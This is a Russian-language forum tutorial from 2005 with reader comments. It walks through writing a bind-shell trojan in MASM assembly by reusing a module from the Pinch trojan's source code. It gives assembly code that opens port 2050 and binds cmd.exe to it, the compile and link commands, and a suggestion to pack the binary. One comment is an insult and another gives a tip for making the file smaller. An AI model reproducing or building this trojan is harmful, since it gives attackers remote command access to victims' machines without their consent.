Поговорив с Нитрексом, решил написать эту статью. В ней я хочу показать, как можно без особых проблем написать Троян. Итак, наш Троян будет уметь лишь одно – это биндить(открывать) порт, и вешать на нем cmd.exe или command.com в зависимости от версии ОС.
Подумав, я решил не изобретать велосипед, а взять уже готовый код из Трояна Pinch. Код оформлен в виде модуля, и его можно без особых проблем использовать в своих программах. Так что скажем спасибо кабану, за его творение. Приступим.
Найдем где-нибудь исходники пинча. В них имеется файлик comsole.asm – это и есть нужный нам код. Теперь создадим файл troj.asm и пишем в него:
;********************************************** .486 .model flat, stdcall option casemap :none ;Тут мы подключаем необходимы файлы. include ..\include\windows.inc include ..\include\user32.inc include ..\include\kernel32.inc include ..\include\wsock32.inc includelib ..\Lib\user32.lib includelib ..\Lib\kernel32.lib includelib ..\Lib\wsock32.lib ;================================ .data .data? .code ;**********************************************
Это наш Каракас, на нем мы будем строить нашего Трояна... В принципе, все что нам надо сделать, это заинклудить файл console.asm и вызвать из него функцию StarSrv которая сделает всю остальную работу. Итак, добавляем в наш файл следующее:
;*********************************************** ... .data lpBuf1 db 32768 dup(?) ; буфер Port dd 2050 ; Порт .data? .code include console.asm start: ; с этой отметки ;начинается выполнение нашей программы invoke WSAStartup, 1, offset lpBuf1 ; нужно для работы с сокетами, вообще ;вместо lpBuf1 должнен стоять указатель на структуру WSADATA, но кабан сделал ;именно так. invoke StartSrv, Port ;Вызываем StartSrv . 2050 – это порт который будет открыт. end start ;Конец. ... ;***********************************************
Вот в принципе и все. Наш Троян готов, осталось скомпилировать и запустить.
- ml /c /coff -nologo troj.asm
- link /subsystem:windows -nologo /OPT:REF /SECTION:.text,ERW troj.obj
Вот тока мне не нравится размер получаемого файла - 35,5кб. Это монстр какой-то. Вероятно это происходит из-за подключаемой библиотеки wsock32.lib(42кб), а может у меня руки кривые =). Вот в принципе и все...
ЗЫ После сжатия файла пакером, получилось 1,44кб, но это тоже много... так что дерзайте...
© s0 13.12.2005
гость): - скорее wsock32.lib
Ты долбаёб просто



>Вот тока мне не нравится размер получаемого файла - 35,5кб.Это монстр какой-то.
Вероятно это происходит из-за подключаемой библиотеки wsock32.lib(42кб), а может
у меня руки кривые =).
есле обьявить lpBuf1 в сегменте неинициализированных данных то все с размером будет в порядке.